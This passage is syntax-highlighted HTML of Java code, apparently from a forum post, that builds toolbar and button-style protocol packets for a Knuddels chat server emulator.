/>&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;final&nbsp;static&nbsp;</span><span style="color: #0000BB">char&nbsp;EMPTY_TEXTVALUE&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0x00</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//Knuddels&nbsp;benutzt&nbsp;0xFF&nbsp;(=-1),&nbsp;0x00&nbsp;(=0)&nbsp;sollte&nbsp;aber&nbsp;auch&nbsp;gehen!<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;//Cro&nbsp;-&nbsp;Easy&nbsp;:'D<br />&nbsp;&nbsp;&nbsp;&nbsp;/***<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Creates&nbsp;a&nbsp;new&nbsp;Toolbar&nbsp;for&nbsp;the&nbsp;specified&nbsp;channel<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;channel&nbsp;The&nbsp;Channel<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;buttons&nbsp;A&nbsp;buttonList<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;The&nbsp;final&nbsp;string,&nbsp;which&nbsp;you&nbsp;can&nbsp;send<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;ToolbarString</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;channel</span><span style="color: #007700">,&nbsp;List&lt;</span><span style="color: #0000BB">Button</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">buttons</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">ToolbarString</span><span style="color: #007700">(</span><span style="color: #0000BB">channel</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">buttons</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/****<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Creates&nbsp;a&nbsp;new&nbsp;Toolbar&nbsp;for&nbsp;the&nbsp;specified&nbsp;channel<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;channel&nbsp;The&nbsp;Channel<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;buttons&nbsp;The&nbsp;buttonList<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;analogButtons&nbsp;The&nbsp;analog&nbsp;Buttons<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;The&nbsp;final&nbsp;string,&nbsp;which&nbsp;you&nbsp;can&nbsp;send<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;ToolbarString</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;channel</span><span style="color: #007700">,&nbsp;List&lt;</span><span style="color: #0000BB">Button</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">buttons</span><span style="color: #007700">,&nbsp;List&lt;</span><span style="color: #0000BB">AnalogButton</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">analogButtons</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">PacketWriter&nbsp;packet&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">PacketWriter</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeString</span><span style="color: #007700">(</span><span style="color: #0000BB">SendOpcode</span><span style="color: #007700">.</span><span style="color: #0000BB">MODULE</span><span style="color: #007700">.</span><span style="color: #0000BB">getValue</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">(</span><span style="color: #0000BB">0x00</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeShort</span><span style="color: #007700">(</span><span style="color: #0000BB">Server</span><span style="color: #007700">.</span><span style="color: #0000BB">get</span><span style="color: #007700">().</span><span style="color: #0000BB">getModuleTree</span><span style="color: #007700">().</span><span style="color: #0000BB">getIndex</span><span style="color: #007700">(</span><span style="color: #DD0000">"SHOW_BUTTONS"</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">channel</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeString</span><span style="color: #007700">(</span><span style="color: #0000BB">channel</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">Button&nbsp;button&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">buttons</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">(</span><span style="color: #0000BB">0x0B</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//New&nbsp;Element<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writeButton</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">(</span><span style="color: #0000BB">0x0C</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//List&nbsp;end<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">analogButtons&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">AnalogButton&nbsp;button&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">analogButtons</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">(</span><span style="color: #0000BB">0x0B</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writeButton</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">normalButton</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeInt</span><span style="color: #007700">(</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">analogSegments</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeInt</span><span style="color: #007700">(</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">sendIntervalMillis</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeInt</span><span style="color: #007700">(</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">cooldownIntervalMillis</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">(</span><span style="color: #0000BB">0x0C</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/***<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Writes&nbsp;a&nbsp;button&nbsp;into&nbsp;the&nbsp;Packet<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;packet&nbsp;The&nbsp;packetwriter<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;button&nbsp;&nbsp;The&nbsp;button<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;writeButton</span><span style="color: #007700">(</span><span style="color: #0000BB">PacketWriter&nbsp;packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Button&nbsp;button</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">isNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">text</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeString</span><span style="color: #007700">(</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">text</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">(</span><span style="color: #0000BB">EMPTY_TEXTVALUE</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">isNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">image</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">image</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeString</span><span style="color: #007700">(</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">image</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">(</span><span style="color: #0000BB">EMPTY_TEXTVALUE</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeBoolean</span><span style="color: #007700">(</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">showOnTheLeftSide</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">isNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">chatFunction</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">chatFunction</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeString</span><span style="color: #007700">(</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">chatFunction</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">(</span><span style="color: #0000BB">EMPTY_TEXTVALUE</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/***<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Sets&nbsp;the&nbsp;style&nbsp;of&nbsp;the&nbsp;toolbar<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;channel&nbsp;The&nbsp;channel<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;barStyle&nbsp;The&nbsp;BarStyle<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;buttonStyle&nbsp;The&nbsp;ButtonStyle<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;analogButtonStyle&nbsp;The&nbsp;AnalogButtonStyle<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;&nbsp;The&nbsp;settings-string<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">String&nbsp;Settings</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;channel</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Shading&nbsp;barStyle</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Shading&nbsp;buttonStyle</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Shading&nbsp;analogButtonStyle</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">PacketWriter&nbsp;packet&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">PacketWriter</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeString</span><span style="color: #007700">(</span><span style="color: #0000BB">SendOpcode</span><span style="color: #007700">.</span><span style="color: #0000BB">MODULE</span><span style="color: #007700">.</span><span style="color: #0000BB">getValue</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">(</span><span style="color: #0000BB">0x00</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeShort</span><span style="color: #007700">(</span><span style="color: #0000BB">Server</span><span style="color: #007700">.</span><span style="color: #0000BB">get</span><span style="color: #007700">().</span><span style="color: #0000BB">getModuleTree</span><span style="color: #007700">().</span><span style="color: #0000BB">getIndex</span><span style="color: #007700">(</span><span style="color: #DD0000">"BUTTON_BAR_SETTINGS"</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">((</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">channel</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">writeString</span><span style="color: #007700">(</span><span style="color: #0000BB">channel</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Write&nbsp;the&nbsp;bar&nbsp;style<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writeByteArray</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getByteArrayFromColor</span><span style="color: #007700">(</span><span style="color: #0000BB">barStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">topFadeFrom</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writeByteArray</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getByteArrayFromColor</span><span style="color: #007700">(</span><span style="color: #0000BB">barStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">middleFadeTo</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writeByteArray</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getByteArrayFromColor</span><span style="color: #007700">(</span><span style="color: #0000BB">barStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">bottomSolid</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Write&nbsp;the&nbsp;button&nbsp;Style<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writeByteArray</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getByteArrayFromColor</span><span style="color: #007700">(</span><span style="color: #0000BB">buttonStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">topFadeFrom</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writeByteArray</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getByteArrayFromColor</span><span style="color: #007700">(</span><span style="color: #0000BB">buttonStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">middleFadeTo</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writeByteArray</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getByteArrayFromColor</span><span style="color: #007700">(</span><span style="color: #0000BB">buttonStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">bottomSolid</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Write&nbsp;the&nbsp;analogButtonStyle<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writeByteArray</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getByteArrayFromColor</span><span style="color: #007700">(</span><span style="color: #0000BB">analogButtonStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">topFadeFrom</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writeByteArray</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getByteArrayFromColor</span><span style="color: #007700">(</span><span style="color: #0000BB">analogButtonStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">middleFadeTo</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writeByteArray</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getByteArrayFromColor</span><span style="color: #007700">(</span><span style="color: #0000BB">analogButtonStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">bottomSolid</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">toString</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/***<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Writes&nbsp;a&nbsp;ByteArray<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;writer&nbsp;The&nbsp;PacketWriter<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;array&nbsp;The&nbsp;ByteArray<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;writeByteArray</span><span style="color: #007700">(</span><span style="color: #0000BB">PacketWriter&nbsp;writer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;array)&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;array.</span><span style="color: #0000BB">length</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">writer</span><span style="color: #007700">.</span><span style="color: #0000BB">write</span><span style="color: #007700">(array&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/****<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Gets&nbsp;a&nbsp;ByteArray&nbsp;from&nbsp;a&nbsp;Color<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@param&nbsp;color&nbsp;The&nbsp;color<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;@return&nbsp;&nbsp;The&nbsp;ByteArray<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">getByteArrayFromColor</span><span style="color: #007700">(</span><span style="color: #0000BB">Color&nbsp;color</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;{(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">color</span><span style="color: #007700">.</span><span style="color: #0000BB">getRed</span><span style="color: #007700">(),&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">color</span><span style="color: 